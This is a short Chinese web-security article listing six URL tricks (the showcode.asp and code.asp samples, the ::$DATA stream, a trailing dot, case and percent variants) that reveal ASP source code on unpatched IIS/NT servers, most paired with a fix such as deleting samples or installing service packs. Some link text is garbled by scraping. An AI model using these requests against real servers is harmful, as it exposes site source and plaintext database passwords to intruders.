当前位置:中国站长下载文章中心网络安全其他相关 → 偷看ASP原码的6种方法

偷看ASP原码的6种方法

减小字体 增大字体 作者:无从考证  来源:中国站长学院  发布时间:2006-5-21 1:03:14

在没有打Services Pack6补丁的NT server上,至少有6种方法可以看到ASP程序的源代码,它们是:

1、asp?source=/msadc/Samples/SELECTOR/showcode.asp">http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
解决方案:删除showcode.asp

2、asp::http://somewhere/something.asp::$DATA
解决方案: 装sp3

3、asp.">http://somewhere/something.asp.
解决方案: 装sp4

or asp">http://somewhere/something.asp.(加一个点)
解决方案: 装sp4

4、Asp">http://somewhere/something.Asp
或者 asp">http://somewhere/something.%asp
解决方案: 装sp4

5、asp">http://somewhere/something.asp
解决方案:装sp6或者打补丁

6、asp?source=xxx.asp">http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp

最大的危害莫过于asp文件可以被上述方式读出;数据库密码以明文形式暴露在黑客眼前;